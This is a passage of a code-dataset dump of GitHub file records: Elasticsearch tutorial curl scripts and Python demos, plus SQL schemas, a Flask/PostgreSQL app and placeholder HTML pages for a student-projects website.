\"gte\":\"2014-01-01\" }}}\n\t\t\t]\n\t\t}\n\t}\n}'"
},
{
"alpha_fraction": 0.655639111995697,
"alphanum_fraction": 0.6857143044471741,
"avg_line_length": 26.75,
"blob_id": "1da289c448fdaf4fb735eb048fc5cd3eb960ecaf",
"content_id": "1d116bd1842a3325242c3f12b12b22c8d1b7731c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 665,
"license_type": "no_license",
"max_line_length": 82,
"num_lines": 24,
"path": "/Py/es_operator.py",
"repo_name": "enixdark/Simple_Elastic_Search",
"src_encoding": "UTF-8",
"text": "from es import ES\nfrom config import *\nfrom time import time\n\nes = ES().getES()\n\nif not es.indices.exists(index = index_name):\n\tprint '\tindex does not exists, creat new index'\n\tes.indices.create(index = index_name, body = body)\n\ttime.sleep(2)\n\tprint 'index created successfully'\nelse:\n\tprint 'An index with this name already exists'\n\ndoc1 = {\n\t'name': 'Erlang',\n\t'category': ['Distribute','OTP','Erlang','Elixir','Elm','Actor'],\n\t'Publication': 'Ericsson',\n\t'Publishing Date': '1970-01-01'\n}\nes.index(index = index_name, doc_type = doc_type, body = doc1, id = '123')\n\nresponse = es.get(index= index_name, doc_type = doc_type, id = '123', ignore= 404)\nprint response"
},
{
"alpha_fraction": 0.6824742555618286,
"alphanum_fraction": 0.6886597871780396,
"avg_line_length": 24.552631378173828,
"blob_id": "c58105f9c5a3e4f7fb0821e68518808573f9ad0b",
"content_id": "01739bcf36f390f9eeb38408b33c2784c171fcb3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 970,
"license_type": "no_license",
"max_line_length": 91,
"num_lines": 38,
"path": "/Py/stdoutlistener.py",
"repo_name": "enixdark/Simple_Elastic_Search",
"src_encoding": "UTF-8",
"text": "from config import *\nfrom es import ES\nfrom tweepy import OAuthHandler, Stream\nfrom tweepy.streaming import StreamListener\nimport json\n\n# es = ES().getES()\n\nclass StdOutListener(StreamListener):\n\tcounter = 0\n\ttotal_docs_to_be_indexed = 1000\n\n\tdef __init__(self,*args,**kwargs):\n\t\tsuper(StdOutListener, self).__init__(*args, **kwargs)\n\t\tself.es = ES().getES()\n\n\tdef on_data(self,data):\n\t\tprint data\n\t\twhile self.total_docs_to_be_indexed > self.counter:\n\t\t\ttweet = json.loads(data)\n\t\t\tself.index_tweet(tweet)\n\t\t\tself.counter += 1\n\t\t\treturn True\n\t\treturn False\n\n\tdef index_tweet(self,tweet):\n\t\tself.es.index(index = 'twitter', doc_type = 'tweets', id = tweet['id_str'], body = tweet)\n\n\tdef on_error(self,status):\n\t\tprint \"the status is: \" + str(status)\n\t\tpass\n\nif\t__name__ ==\t'__main__':\n\tlistener = StdOutListener()\n\tauth = OAuthHandler(consumer_key, consumer_secret)\n\n\tstream = Stream(auth, listener)\n\tstream.filter(track=['crime','blast','earthquake','riot','politics'])"
},
{
"alpha_fraction": 0.6059113144874573,
"alphanum_fraction": 0.6157635450363159,
"avg_line_length": 18.380952835083008,
"blob_id": "ea78b800bcb5cc99529ba07f94651eb05135129c",
"content_id": "93bfbb7d5533dbba3a9c43d3c4434173553b783f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 406,
"license_type": "no_license",
"max_line_length": 57,
"num_lines": 21,
"path": "/DefGuide/Chapter_10/avoid_type.sh",
"repo_name": "enixdark/Simple_Elastic_Search",
"src_encoding": "UTF-8",
"text": "#!/bin/bash\n\nPORT=9200\necho \"full text search without exact type\"\ncurl -XGET http://localhost:${PORT}/_search/?pretty -d '{\n\t\"query\":{\n\t\t\"match\":{\n\t\t\t\"title\":\"the quick brown fox\"\n\t\t}\n\t}\n}'\n\necho \"full text search with invi type\"\ncurl -XGET http://localhost:${PORT}/_search/?pretty -d '{\n\t\"query\":{\n\t\t\"multi_match\":{\n\t\t\t\"query\":\"the quick brown fox\",\n\t\t\t\"fields\":[\"blog_en.title\",\"blog_es.title\"]\n\t\t}\n\t}\n}'"
},
{
"alpha_fraction": 0.7088607549667358,
"alphanum_fraction": 0.7341772317886353,
"avg_line_length": 20.636363983154297,
"blob_id": "493762f31c41cf3046aa7f26add4075c1eb2fbc1",
"content_id": "be328b05b8e203ecc42be9233f6b4a328d141a5f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 237,
"license_type": "no_license",
"max_line_length": 74,
"num_lines": 11,
"path": "/DefGuide/Chapter_3/retrieving.sh",
"repo_name": "enixdark/Simple_Elastic_Search",
"src_encoding": "UTF-8",
"text": "#!/bin/bash\n\nPORT=9200\n\n\necho \"get data by extract column\"\ncurl -XGET http://localhost:${PORT}/vietname/peoples/1?_source=name&pretty\n\necho \necho \"get data by _source\"\ncurl -XGET http://localhost:${PORT}/vietname/peoples/1/_source?pretty"
},
{
"alpha_fraction": 0.5976627469062805,
"alphanum_fraction": 0.6043405532836914,
"avg_line_length": 20.410715103149414,
"blob_id": "3f4a26ff090d81b8c23403419d25af7c8214c729",
"content_id": "6a65fb4210a672396eb9860a73ea1d5c6b39bb91",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 1198,
"license_type": "no_license",
"max_line_length": 91,
"num_lines": 56,
"path": "/DefGuide/Chapter_7/filter.sh",
"repo_name": "enixdark/Simple_Elastic_Search",
"src_encoding": "UTF-8",
"text": "#The term filter is used to filter by exact values, be they numbers, dates, Booleans, or\n#not_analyzed exact-value string fields:\nPORT=9200\ncurl -XGET http://localhost:${PORT}/gb,us/_search/?pretty -d '{\n\t\"filter\":{ \n\t\"term\": { \n\t\"name\": \"john\"\n}\n}\n}'\n\n#The terms filter is the same as the term filter, but allows you to specify multiple values\n#to match. If the field contains any of the specified values, the document matches:\ncurl -XGET http://localhost:${PORT}/gb,us/_search/?pretty -d '{\n\t\"filter\":{\n\t\t\"terms\": \n\t\t{ \"tag\": [ \"search\", \"full_text\", \"nosql\" ] }}\n\t}\n}'\n\n#The range filter allows you to find numbers or dates that fall into a specified range:\n#\ncurl -XGET http://localhost:${PORT}/_search?pretty -d '{\n\t\"filter\":{\n\t\t\"range\":{\n\t\t\t\"age\":{\n\t\t\t\t\"gte\":20,\n\t\t\t\t\"lt\":20\n\t\t\t}\n\t\t}\n\t}\n}'\n\n#exists field\ncurl -XGET http://localhost:${PORT}/_search?pretty -d '{\n\t\"filter\":{\n\t\t\"exists\":{\n\t\t\t\"field\":\"name\"\n\t\t}\n\t}\n}'\n\necho \"user bool with filter\"\ncurl -XGET http://localhost:${PORT}/_search/?pretty -d '{\n\t\"filter\":{\n\t\t\"bool\": {\n\t\t\t\"must\":{\"term\":{\"folder\":\"inbex\"}},\n\t\t\t\"must_not\":{\"term\":{\"tag\":\"spam\"}},\n\t\t\t\"should\":[\n\t\t\t\t{\"term\":{\"start\":true}},\n\t\t\t\t{\"term\":{\"unread\":true}}\n\t\t\t]\n\t\t}\n\t}\n}\n'"
},
{
"alpha_fraction": 0.5862069129943848,
"alphanum_fraction": 0.6206896305084229,
"avg_line_length": 16.5,
"blob_id": "825ad81d0dbe5bcbf3c7047431c97de534619302",
"content_id": "278f1cbf334ce805499e28cc15dc3ecbe0aab256",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 174,
"license_type": "no_license",
"max_line_length": 50,
"num_lines": 10,
"path": "/DefGuide/Chapter_2/add_shard.sh",
"repo_name": "enixdark/Simple_Elastic_Search",
"src_encoding": "UTF-8",
"text": "#!/bin/bash\nPORT=9200\n\necho \"add shard for type\"\ncurl -XPUT http://localhost:${PORT}/vietname -d '{\n\t\"settings\" : {\n\t\t\"number_of_shards\" : 3,\n\t\t\"number_of_replicas\" : 1\n\t}\n}'"
},
{
"alpha_fraction": 0.5513392686843872,
"alphanum_fraction": 0.5803571343421936,
"avg_line_length": 17.70833396911621,
"blob_id": "fa58c1c9016364084562c1a826d8ce800a81296d",
"content_id": "8125ea8f820fc1609345cb2dd736afa6e606b33f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 448,
"license_type": "no_license",
"max_line_length": 60,
"num_lines": 24,
"path": "/DefGuide/Chapter_3/post_put.sh",
"repo_name": "enixdark/Simple_Elastic_Search",
"src_encoding": "UTF-8",
"text": "#!/bin/bash\n\nPORT=9200\n\n#insert data into elastic\necho \"==========insert data==========\" \ncurl -XPUT http://localhost:${PORT}/vietname/peoples/1 -d '{\n\t\"name\":\"cqshinn\",\n\t\"age\":\"23\"\n}\n'\necho \necho \"==========insert data==========\" \ncurl -XPUT http://localhost:${PORT}/vietname/peoples/2 -d '{\n\t\"name\":\"sss\",\n\t\"age\":\"10\"\n}\n'\necho \"insert data without ID\"\ncurl -XPOST http://localhost:${PORT}/vietname/peoples/ -d '{\n\t\"name\":\"admin\",\n\t\"age\":\"100\"\n}\n'"
},
{
"alpha_fraction": 0.6456400752067566,
"alphanum_fraction": 0.6660482287406921,
"avg_line_length": 19.769229888916016,
"blob_id": "b54e8d2cab1398bcec9285a836df2d3ceb262c3e",
"content_id": "9c3a1dd8d2a65e95c7cb5d2fbb98557f240e72ca",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 539,
"license_type": "no_license",
"max_line_length": 81,
"num_lines": 26,
"path": "/DefGuide/Chapter_3/create.sh",
"repo_name": "enixdark/Simple_Elastic_Search",
"src_encoding": "UTF-8",
"text": "#!/bin/bash\n\nPORT=9200\nID=111\n\necho \"first method to create a new document\"\ncurl -XPOST http://localhost:${PORT}/vietname/peoples/${ID}?op_type=create -d '{\n\t\"name\":\"superman\",\n\t\"age\":\"?\"\n}\n'\necho\n\necho \"second method to create a new document\"\ncurl -XPOST http://localhost:${PORT}/vietname/peoples/${ID}/_create -d '{\n\t\"name\":\"batman\",\n\t\"age\":\"60\"\n}\n'\n\necho \"conflict document when to try create a new document that exists\"\ncurl -XPOST http://localhost:${PORT}/vietname/peoples/${ID}/_create/?pretty -d '{\n\t\"name\":\"batman\",\n\t\"age\":\"60\"\n}\n'"
},
{
"alpha_fraction": 0.5344827771186829,
"alphanum_fraction": 0.545976996421814,
"avg_line_length": 18.27777862548828,
"blob_id": "3254232041e47019c4294d9f95f27e60e99061af",
"content_id": "86523912aa10049d93558b185c78838283eba92e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 348,
"license_type": "no_license",
"max_line_length": 100,
"num_lines": 18,
"path": "/DefGuide/Chapter_10/analyzer_es_std.sh",
"repo_name": "enixdark/Simple_Elastic_Search",
"src_encoding": "UTF-8",
"text": "\n#!/bin/bash\n\nPORT=9200\n# curl -XPUT http://localhost:${PORT}/spanish_docs/?pretty -d '{\n# \t\"settings\":{\n# \t\t\"analysis\":{\n# \t\t\t\"analyzer\":{\n# \t\t\t\t\"es_std\":{\n# \t\t\t\t\t\"type\":\"standard\",\n# \t\t\t\t\t\"stopwords\":\"_spanish_\"\n# \t\t\t\t}\n# \t\t\t}\n# \t\t}\n# \t}\n# }'\n\n\ncurl -XGET http://localhost:${PORT}/spanish_docs/_analyze?analyzer=es_std -d \"El veloz zorro marron\"\n"
}
] | 42 |
mrlarso/productivity | https://github.com/mrlarso/productivity | a3862c4831613f90d8c782f506cdc9510d5603ae | a12679e8935f67ab00626d4f1a2dca3ff40ab579 | af86df7522874ad2e6233cb274dfd0ffe9c68ead | refs/heads/master | 2021-04-06T09:13:41.794959 | 2018-03-15T11:35:56 | 2018-03-15T11:35:56 | 125,355,354 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.7684210538864136,
"alphanum_fraction": 0.7684210538864136,
"avg_line_length": 18,
"blob_id": "05948fd526893a261dd3f1ee8e4b645825c90455",
"content_id": "c5130965a80660cdc99f435f7869bbf2e9132aca",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 95,
"license_type": "no_license",
"max_line_length": 34,
"num_lines": 5,
"path": "/productivity/weeklyplan/apps.py",
"repo_name": "mrlarso/productivity",
"src_encoding": "UTF-8",
"text": "from django.apps import AppConfig\n\n\nclass WeeklyplanConfig(AppConfig):\n name = 'weeklyplan'\n"
}
] | 1 |
gusgalarnyk/projectCauldron | https://github.com/gusgalarnyk/projectCauldron | 5ee50400cd9d6b2bac5396c77e668910be44dd4c | 60f5e96732a2fcd4cb9b13b2fedc0a3a9b809e6b | bb25f54595a89d3c8e9fd6f3bfcd5c81b0ac09c3 | refs/heads/master | 2021-01-20T05:08:11.675485 | 2017-08-08T21:38:03 | 2017-08-08T21:38:03 | 83,855,055 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.5597236156463623,
"alphanum_fraction": 0.597235918045044,
"avg_line_length": 26.405405044555664,
"blob_id": "a8c883bf2f7800aa230bd41ca4ec0859dcfe9481",
"content_id": "ea8dd21cc21a40b4a9a4f72ddcad806ff785c19f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "SQL",
"length_bytes": 1013,
"license_type": "no_license",
"max_line_length": 103,
"num_lines": 37,
"path": "/SQL/SQL_Scripts/students.sql",
"repo_name": "gusgalarnyk/projectCauldron",
"src_encoding": "UTF-8",
"text": "DROP TABLE IF EXISTS students CASCADE;\n\nCREATE TABLE students\n(\n id integer NOT NULL,\n fname varchar(255),\n lname varchar(255),\n school integer,\n project0_id integer,\n project1_id integer,\n project2_id integer,\n project3_id integer,\n project4_id integer,\n school_email varchar(255) NOT NULL,\n personal_email varchar(255),\n short_summary varchar(100),\n full_summary varchar(255),\n degree_program varchar(255),\n minor varchar(255),\n birthdate date,\n ra boolean,\n honors boolean,\n full_time boolean,\n club0_id integer,\n club1_id integer,\n club3_id integer,\n club4_id integer,\n password varchar(255) NOT NULL\n);\n\nALTER TABLE public.students\n ADD CONSTRAINT students_pkey\n PRIMARY KEY (id);\n\nCOMMENT ON COLUMN students.project4_id IS 'as a student you can be a member of up to 5 projects total';\n\nCOMMIT;"
},
{
"alpha_fraction": 0.6598360538482666,
"alphanum_fraction": 0.6721311211585999,
"avg_line_length": 16.5,
"blob_id": "6a6ed1a4f876fc5839011933aac6f454dce9b7e0",
"content_id": "0082126a13dd9a5071b7a7bebf0ebfa22aaef7f7",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "SQL",
"length_bytes": 244,
"license_type": "no_license",
"max_line_length": 37,
"num_lines": 14,
"path": "/SQL/SQL_Scripts/prereqs.sql",
"repo_name": "gusgalarnyk/projectCauldron",
"src_encoding": "UTF-8",
"text": "DROP TABLE IF EXISTS prereqs CASCADE;\n\nCREATE TABLE prereqs\n(\n id integer NOT NULL,\n name varchar(255) NOT NULL,\n school integer\n);\n\nALTER TABLE public.prereqs\n ADD CONSTRAINT prereqs_pkey\n PRIMARY KEY (id);\n\nCOMMIT;"
},
{
"alpha_fraction": 0.6073446273803711,
"alphanum_fraction": 0.6327683329582214,
"avg_line_length": 18.66666603088379,
"blob_id": "6ff05c438cacd48d30712dd627db8f07991adf71",
"content_id": "c393b0e6451e14bf1aeb18100d0e943ca9d80132",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "SQL",
"length_bytes": 354,
"license_type": "no_license",
"max_line_length": 40,
"num_lines": 18,
"path": "/SQL/SQL_Scripts/leaders.sql",
"repo_name": "gusgalarnyk/projectCauldron",
"src_encoding": "UTF-8",
"text": "DROP TABLE IF EXISTS leaders CASCADE;\n\nCREATE TABLE leaders\n(\n id integer NOT NULL,\n fname varchar(255),\n lname varchar(255),\n school integer,\n project0_id integer,\n project1_id integer,\n project2_id integer\n);\n\nALTER TABLE public.leaders\n ADD CONSTRAINT leaders_pkey\n PRIMARY KEY (id);\n\nCOMMIT;\n"
},
{
"alpha_fraction": 0.6242884397506714,
"alphanum_fraction": 0.6527514457702637,
"avg_line_length": 25.350000381469727,
"blob_id": "c338eedf2f3a84c0c7ffc611ae71b73618aa2d1f",
"content_id": "0760b9696c5e543fdf97bb06c096a948fbe0c91a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "SQL",
"length_bytes": 527,
"license_type": "no_license",
"max_line_length": 46,
"num_lines": 20,
"path": "/SQL/SQL_Scripts/projects.sql",
"repo_name": "gusgalarnyk/projectCauldron",
"src_encoding": "UTF-8",
"text": "DROP TABLE IF EXISTS projects CASCADE;\n\nCREATE TABLE projects\n(\n project_id integer NOT NULL,\n project_name varchar(255) NOT NULL,\n short_summary varchar(100),\n full_summary varchar(255),\n affiliated_club varchar(255) NOT NULL,\n begin_date date,\n expected_end_date date,\n students_involved varchar(255) NOT NULL,\n associated_school integer NOT NULL\n);\n\nALTER TABLE public.projects\n ADD CONSTRAINT project_pkey\n PRIMARY KEY (project_id);\n\nCOMMIT;\n"
},
{
"alpha_fraction": 0.682330846786499,
"alphanum_fraction": 0.6864661574363708,
"avg_line_length": 27,
"blob_id": "8aadf85bcc669cb1e64794aa5f56768487ae4038",
"content_id": "fb95accbc1931a817433123d053980613fb15c36",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 5320,
"license_type": "no_license",
"max_line_length": 105,
"num_lines": 190,
"path": "/Python/python_testing/PostgreSqlTest/DataTest.py",
"repo_name": "gusgalarnyk/projectCauldron",
"src_encoding": "UTF-8",
"text": "\"\"\"\nAuthor: Jeremiah Lantzer\n\nLast Edit: 7/28/2016 - JL\n\nOverview: This is a test of the capabilities of PostgreSQl\n using python for Project Cauldron.\n\nGoal: I am attempting to create a template that we will be able to use over\n that will allow us to load a portion of a database when a certain\n page has been opened.\n\nSources: https://wiki.postgresql.org/wiki/Psycopg2_Tutorial\n\"\"\"\n\n# Imports the API that allows for connection with PostgreSQL\nimport psycopg2\n# load the psycopg extras module\nimport psycopg2.extras\n# Imports the Flask library to allow for connection to the front end\n# render_template allows for the opening of HTML files and request will be used for html based operations\nfrom flask import Flask, render_template, request\n\n# allows for the use of the app decorator\napp = Flask(__name__)\n\n\ndef dbconn():\n # connString contains the basic connection info of the database\n connstring = 'dbname=Cauldron user=postgres password=elephants25 host=localhost port=5433'\n print connstring\n\n try:\n # tries to connect to the database according to info in the connString above^\n return psycopg2.connect(connstring)\n\n except:\n # If it fails an error message is printed\n # Could use this for possible recursive connection\n print \"Can't connect to database\"\n\n\n\"\"\"\ndbmain() shall receive different parameters according to the page that is being called\nso that the proper section of the database shall be called and the proper information is received\n\"\"\"\n\n\ndef dbmain(querystring):\n # sets a variable to connect to the Database\n conn = dbconn()\n\n # executes a query\n try:\n # Defines a cursor to work with\n cur = conn.cursor()\n cur.execute(querystring)\n # All results from the query are stored in the list, rows\n rows = cur.fetchall()\n return rows\n\n except:\n print \"Error executing select\"\n\n\ndef dbprint(rows):\n # Displays the results of the query in the console\n\n if rows is not None:\n print \"\\nShow me the databases:\\n\"\n for row in rows:\n print \" \", row[0]\n\n\[email protected](\"/\")\ndef home1():\n # receives all information and connects to the database\n rows = dbmain(\"Querystring\") # TODO: add query string to each dbmain that needs it\n\n # TODO: Display the amount of schools on index.html\n\n # prints the information received to the console\n dbprint(rows)\n\n return render_template(\"front-page.html\", schoolnum=rows) #\n\n\[email protected](\"/index.html\", methods=['POST', 'GET'])\ndef home2():\n email1 = request.form['email']\n print email1\n\n # receives all information and connects to the database\n rows = dbmain(\"Querystring\") # TODO: add query string to each dbmain that needs it\n\n # TODO: Display the amount of schools on index.html\n\n # prints the information received to the console\n dbprint(rows)\n\n return render_template(\"index.html\")\n\n\[email protected](\"/about.html\")\ndef about():\n # TODO: change about us in HTML file\n\n # receives all information and connects to the database\n rows = dbmain(\"Querystring\") # TODO: add query string to each dbmain that needs it\n\n # prints the information received to the console\n dbprint(rows)\n\n return render_template(\"about.html\")\n\n\[email protected](\"/me.html\")\ndef me():\n # TODO: Retrieve specific profile information\n\n # receives all information and connects to the database\n rows = dbmain(\"Querystring\") # TODO: add query string to each dbmain that needs it\n\n # prints the information received to the console\n dbprint(rows)\n\n return render_template(\"me.html\")\n\n\[email protected](\"/network.html\")\ndef network():\n # receives all information and connects to the database\n rows = dbmain(\"Querystring\") # TODO: add query string to each dbmain that needs it\n\n # prints the information received to the console\n dbprint(rows)\n\n return render_template(\"network.html\")\n\n\[email protected](\"/projects.html\")\ndef projects():\n # TODO: Retrieve project information\n\n # receives all information and connects to the database\n rows = dbmain(\"Querystring\") # TODO: add query string to each dbmain that needs it\n\n # prints the information received to the console\n dbprint(rows)\n\n return render_template(\"projects.html\")\n\n\[email protected](\"/Login.html\")\ndef login():\n # TODO: Store login information in Database\n\n # receives all information and connects to the database\n rows = dbmain(\"Querystring\") # TODO: add query string to each dbmain that needs it\n\n # prints the information received to the console\n dbprint(rows)\n\n return render_template(\"Login.html\")\n\n\[email protected](\"/signup.html\")\ndef signup():\n # TODO: Store signup information in database\n\n # # connects to the DB: trying new position to stop crashing\n conn = dbconn()\n # cur = conn.cursor(cursor_factory=psycopg2.extras.DictCursor)\n\n try:\n cur = conn.cursor(cursor_factory=psycopg2.extras.DictCursor)\n cur.execute(\"\"\"INSERT INTO students (school_email, password)\n VALUES (%s, %s);\"\"\",\n (request.form['email'], request.form['pass']))\n except:\n print \"Error inserting into database\"\n conn.rollback()\n\n conn.commit()\n\n return render_template(\"signup.html\")\n\n\nif __name__ == \"__main__\":\n app.run()\n"
},
{
"alpha_fraction": 0.7466756701469421,
"alphanum_fraction": 0.7583953142166138,
"avg_line_length": 93.42552947998047,
"blob_id": "3930e9969c0907a8faca0b0949b8963392a2d2f3",
"content_id": "73b9d46faa17088f177e252fc20ef0566e7db26e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "HTML",
"length_bytes": 4437,
"license_type": "no_license",
"max_line_length": 718,
"num_lines": 47,
"path": "/Python/python_testing/PostgreSqlTest/templates/projects.html",
"repo_name": "gusgalarnyk/projectCauldron",
"src_encoding": "UTF-8",
"text": "<!DOCTYPE html>\n<html>\n<head>\n <title>Projects</title>\n <link href=\"static/css/site.css\" rel=\"stylesheet\">\n</head>\n<body background=\"http://www.walldevil.com/wallpapers/a77/background-abstract-bubbles-blue-pictures-wallpapers.jpg\">\n<center><a href='index.html'><img src = 'https://d30y9cdsu7xlg0.cloudfront.net/png/193107-200.png' height='100' width='100'></a></center>\n<body class=\"pt-page-fade\">\n\n<ul id='menu'>\n<li style='float:center'><a href='projects.html' class='active'>Projects</a></li>\n<li style='float:center'><a href='network.html'>Networks</a></li>\n<li style='float:center'><a href='me.html'>Me</a></li>\n<li style='float:center'><a href='about.html'>About Us</a></li>\n<li style='float:right'><u><a href='index.html'>Sign Up</a></u></li>\n<li style='float:right'><u><a href='index.html'>Log In</a></u></li>\n</ul>\n\n<div id=\"main\">\n <h1>Projects</h1>\n <p>William Thomas Riker was a noted Starfleet officer, perhaps best known for his long assignment as first officer under Captain Jean-Luc Picard aboard the USS Enterprise-D and later the USS Enterprise-E. In 2379 he finally accepted a promotion as captain of the USS Titan. (Star Trek: The Next Generation; Star Trek: First Contact; Star Trek Nemesis)\n\nIn 2361, a transporter accident resulted in two Rikers, with each one being identical to the other as well as genetically indistinguishable. Their personalities and memories were the same up to the point of the duplication. The other Riker eventually decided to use his middle name and became known as Thomas Riker.</p>\n<p>William Thomas Riker was born in 2335 to Kyle and Betty Riker in Alaska on Earth. (TNG: \"The Icarus Factor\", \"Conundrum\", \"Second Chances\") His distant ancestors were from mainland North America, including Colonel Thaddius Riker, who fought in the American Civil War. Betty died when Will was only two years old, leaving his father to raise him alone. (TNG: \"Interface\") The Rikers remained in Alaska at Betty's wish. The only thing which kept Kyle going was Will, but he did not feel as if he could discuss the situation with him, even when Will was older. The memories of Betty's presence at their Alaska home were also painful for both. This initial trauma created a rift between the two Rikers which lasted thirty years. </p>\n<p>When Will first started school, he told all of his new friends that his mother was still alive. Eventually, he told the story so often that he began to believe the lie. Soon, his teacher learned of this problem, and both she and Kyle had to talk to Will and make him realize that his mother was dead and was not coming back. Will cried the entire night following, but later realized it was an important step in accepting his mother's death. (TNG: \"Interface\")\n\nHowever, Will's relationship with Kyle continued to deteriorate into his early teens. He was often left to care for himself, learning such skills as cooking. (TNG: \"Time Squared\", \"Future Imperfect\")\n\nWill was never able to concentrate much on subjects such as math, as he constantly daydreamed about starships. (TNG: \"The Royale\")\n\nIn 2344, Will and his father went on a fishing trip. Will was able to hook a large fish, but Kyle insisted on reeling the fish in. This incident bothered Will for many years. He also practiced anbo-jytsu with his father. Kyle admitted that by the time Will was twelve, his skills were superior. Will did not know that the only reason he always lost was because his father used an illegal move called hachidan kiritsu.\n\nKyle completely abandoned Will by 2350, when Will was fifteen. Will held a grudge against his father for the following fifteen years. </p>\n<p>Will entered Starfleet Academy in 2353. During his time at the Academy, his superintendent was a Vulcan, who had taken the time to memorize the personnel files of each and every cadet. (TNG: \"The First Duty\") Paul Rice was a close friend of Riker's while at the Academy. (TNG: \"The Arsenal of Freedom\")\n\nHe felt that people were out to get him during his first year at the Academy. (TNG: \"Frame of Mind\")\n\nDuring a battle simulation against a Tholian opponent, Riker calculated a sensory blind spot of the Tholian vessel and hid within the blind spot. This ingenious tactical strategy was noted in his record. (TNG: \"Peak Performance\")\n\nUpon graduation in 2357, Riker was ranked eighth in his class. He set lofty goals for himself, and hoped to reach captain before thirty-five years of age.</p>\n</div>\n\n<script src=\"script.js\"></script>\n\n</body>\n</html>"
},
{
"alpha_fraction": 0.648888885974884,
"alphanum_fraction": 0.6622222065925598,
"avg_line_length": 15.142857551574707,
"blob_id": "36f1ae494d2ce823f769c3be334e6954d7b98b36",
"content_id": "6035facc0fdf5205962d09bfb2db5832593f1da8",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "SQL",
"length_bytes": 225,
"license_type": "no_license",
"max_line_length": 35,
"num_lines": 14,
"path": "/SQL/SQL_Scripts/clubs.sql",
"repo_name": "gusgalarnyk/projectCauldron",
"src_encoding": "UTF-8",
"text": "DROP TABLE IF EXISTS clubs CASCADE;\n\nCREATE TABLE clubs\n(\n id integer NOT NULL,\n name varchar(255),\n school integer\n);\n\nALTER TABLE public.clubs\n ADD CONSTRAINT clubs_pkey\n PRIMARY KEY (id);\n\nCOMMIT;"
},
{
"alpha_fraction": 0.6213592290878296,
"alphanum_fraction": 0.6504854559898376,
"avg_line_length": 17.235294342041016,
"blob_id": "4d9e4e25ef543c7473c1d561af99e0c22a2707c2",
"content_id": "93853f52f286858ffcd2d6b17de98ff515c33397",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "SQL",
"length_bytes": 309,
"license_type": "no_license",
"max_line_length": 37,
"num_lines": 17,
"path": "/SQL/SQL_Scripts/schools.sql",
"repo_name": "gusgalarnyk/projectCauldron",
"src_encoding": "UTF-8",
"text": "DROP TABLE IF EXISTS schools CASCADE;\n\nCREATE TABLE schools\n(\n id integer NOT NULL,\n name varchar(255),\n city varchar(255),\n state varchar(255),\n zipcode integer,\n country integer\n);\n\nALTER TABLE public.schools\n ADD CONSTRAINT schools_pkey\n PRIMARY KEY (id);\n\nCOMMIT;"
},
{
"alpha_fraction": 0.6024096608161926,
"alphanum_fraction": 0.608433723449707,
"avg_line_length": 19.8125,
"blob_id": "02dbb2a1bbec853027edc00dbe2b294ca13b80c5",
"content_id": "aa1a6defb9cd178b03030733ff9ccd7b5bc36958",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "SQL",
"length_bytes": 332,
"license_type": "no_license",
"max_line_length": 44,
"num_lines": 16,
"path": "/SQL/SQL_Scripts/images.sql",
"repo_name": "gusgalarnyk/projectCauldron",
"src_encoding": "UTF-8",
"text": "DROP TABLE IF EXISTS images CASCADE;\n\nCREATE TABLE images\n(\n id integer NOT NULL,\n name varchar(36),\n imagedata bytea NOT NULL,\n student_owner_id integer,\n project_owner_id integer\n);\n\nALTER TABLE public.images\n ADD CONSTRAINT images_pkey\n PRIMARY KEY (id);\n\nCOMMIT;"
},
{
"alpha_fraction": 0.7713711261749268,
"alphanum_fraction": 0.7864565849304199,
"avg_line_length": 128.71739196777344,
"blob_id": "d6a5bd3f423df9a8371cdc6d85139e3cfab7aada",
"content_id": "afe2bb56618c87f63e52556afa272d4d90d04119",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "HTML",
"length_bytes": 5966,
"license_type": "no_license",
"max_line_length": 891,
"num_lines": 46,
"path": "/Python/python_testing/PostgreSqlTest/templates/about.html",
"repo_name": "gusgalarnyk/projectCauldron",
"src_encoding": "UTF-8",
"text": "<!DOCTYPE html>\n<html>\n<head>\n <title>About</title>\n <link href=\"static/css/site.css\" rel=\"stylesheet\">\n</head>\n<body background=\"http://www.walldevil.com/wallpapers/a77/background-abstract-bubbles-blue-pictures-wallpapers.jpg\">\n<center><a href='index.html'><img src = 'https://d30y9cdsu7xlg0.cloudfront.net/png/193107-200.png' height='100' width='100'></a></center>\n<body class=\"pt-page-fade\">\n\n<ul id='menu'>\n<li style='float:center'><a href='projects.html'>Projects</a></li>\n<li style='float:center'><a href='network.html'>Networks</a></li>\n<li style='float:center'><a href='me.html'>Me</a></li>\n<li style='float:center'><a href='about.html' class='active'>About Us</a></li>\n<li style='float:right'><u><a href='index.html'>Sign Up</a></u></li>\n<li style='float:right'><u><a href='index.html'>Log In</a></u></li>\n</ul>\n\n<div id=\"main\">\n <h1>About Us</h1>\n <p>The USS Enterprise (NCC-1701) was a 23rd century Federation Constitution-class starship operated by Starfleet. In the course of her career, the Enterprise became the most celebrated starship of her time.\n\nIn her forty years of service and discovery, through upgrades and at least two refits, she took part in numerous first contacts, military engagements, and time-travels. She achieved her most lasting fame from the five-year mission (2265-2270) under the command of Captain James T. 